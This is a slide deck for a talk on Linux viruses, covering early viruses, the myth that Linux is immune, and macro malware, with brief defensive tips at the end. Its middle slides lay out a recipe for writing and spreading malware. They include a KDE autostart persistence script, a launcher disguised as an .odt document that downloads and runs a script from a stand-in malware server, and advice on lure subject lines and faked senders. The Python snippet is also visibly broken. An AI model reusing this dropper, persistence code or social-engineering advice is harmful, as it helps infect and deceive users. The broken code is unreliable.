Linux Viruses

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This presentation will give some hints about how to write very simple viruses and other malware that run under the GNU/Linux and other operating systems.

As part of this we'll be looking at several example viruses which can be dangerous to do
■ This talk is based on my opinions and experiences and nothing else. It does not reflect the views or opinions of any place I work or organization that I may be a part of.
The following is the rough breakdown of Reactions when I announced the talk broke down as follows:

- Wow! Couldn't you get Bob McCoy to Talk? - 50%
- Linux doesn't have viruses. Duh!!! - 30%
- Meow - 20%
What is a Computer Virus?

- One classic definition is a self-reproducing program that requires user interaction to propagate. It is not by the classic definition able to propagate to remote systems without human interaction.
Staog – 1996
Staog appears to have been the first public seen virus

Bliss – 1996/Early 1997
Bliss was the first “popular” virus. It got quite a bit of press. The source code to bliss is still available in the comp.security.unix archives

Both of these needed specific versions of libraries/kernels etc. So they were version specific and neither runs on a modern system anymore
Linux Doesn't Have Viruses

- This must be true. Everybody says this!!!
- A lot of Linux distros don't install any anti-virus
- People switch to Linux at work to avoid anti-virus programs
Here are five reasons that most people say that Linux doesn't have viruses

■ Separation of privileges
  • How would you hack Sudo???

■ Software Heterogeneousness

■ Various technologies are inserted here
  • ASLR
  • SELinux
  • AppArmor

■ People aren't writing them
■ People aren't writing them
Let's fire up Synaptic and do a search for virus

We'll see three promising options

Viruskiller – sounds promising
clamav – a real anti-virus program
xkillbill – another Microsoft Virus Thing
In 2000 there was an article on Linux.com about running Windows viruses under Wine.
It was pretty amazing. We'll take a look at a bit of it.
One Tongue in Cheek Quote: “It just isn't fair that Windows users get all the viruses. I mean really, shouldn't Linux users be in on the fun as well?”
The classic definition of the Computer Virus is mutating (no pun intended)

Macro and E-mail viruses are on the rise
  Writing in Assembler is hard :-(
  Having a virus that is hard coded against specific versions of libraries has benefits/restrictions

Customized viruses
  There probably isn't going to be an anti-virus signature for Bob from accounting's Macro masterpiece

Toolkits
  Virus Creator Toolkit was a classic

Big Apps
  PDF files, OpenOffice, etc. etc. etc.
We'll be using Bad Bunny as our Example for a Macro Virus

Bad Bunny is written in StarBasic and runs in OpenOffice

Does different behaviors based on what Operating system you are running it on

Let's take a look
 Macros are turned off in almost all installations of OpenOffice nowadays
The real way to test OpenOffice 3.0's VBA compatibility will be to run a bunch of macro viruses against it.

StarBasic is a pretty powerful scripting language in its own right.

What a Furvert is :-(

Several years ago Microsoft put out the “10 Immutable Laws of Computer Security”

Two of them directly apply here

Law #1: If a bad guy can persuade you to run his program on your computer, it's not your computer anymore

Law #10: Technology is not a panacea

Also available as a screen saver from microsoft.com
Five Steps laid out in the Geekzone article

- Write Malware
- Autolaunching
- Create a Launcher
- Send to e-mail as an attachment
- Propagate virus as often as possible

Code snippets on the following slides is also lifted from the Geekzone article
This is the payload. It can be just about anything on the box. It can self-replicate or just be concerned with keeping itself alive.
This is setting the program to relaunch itself when the user logs in

Example Python script for KDE to autostart

```python
import os
uname = os.getlogin()
don_dir = "~/home/%s/.kde/Autostart" % uname)
os.makedirs(drop_dir)
os.symlink("~/home/%s/.local/.hidden/s.py" %
uname, drop_dir+"~/s.py")
```
[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c
'URL=http://www.my_malware_server.com/s.py ;
   DROP=~/.local/.hidden ;
   mkdir -p $DROP;
   if [ -e /usr/bin/wget ] ;
      then wget $URL -O $DROP/s.py ;
      else curl $URL -o $DROP/s.py ; fi;
   python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png
Work on the Subject Line
   Will “I Luv You” Work?
Invoke the power of LOLcats
Fake the e-mail sender
   • Get a lot of Greeting cards from Mom
The best Virus is one that people will actually forward by choice
- Be funny or be useful
- An example of Both – Today's Deep Thought
How to Fight Viruses

- User education
- Run ClamAV against suspicious files
- Patch operating systems and applications regularly
References

- How to write a Linux Virus in 5 Easy Steps - http://www.geekzone.co.nz/foobar/6229
- The ELF Linux Virus Writing HOWTO - http://virus.bartolich.at/virus-writing-HOWTO/_html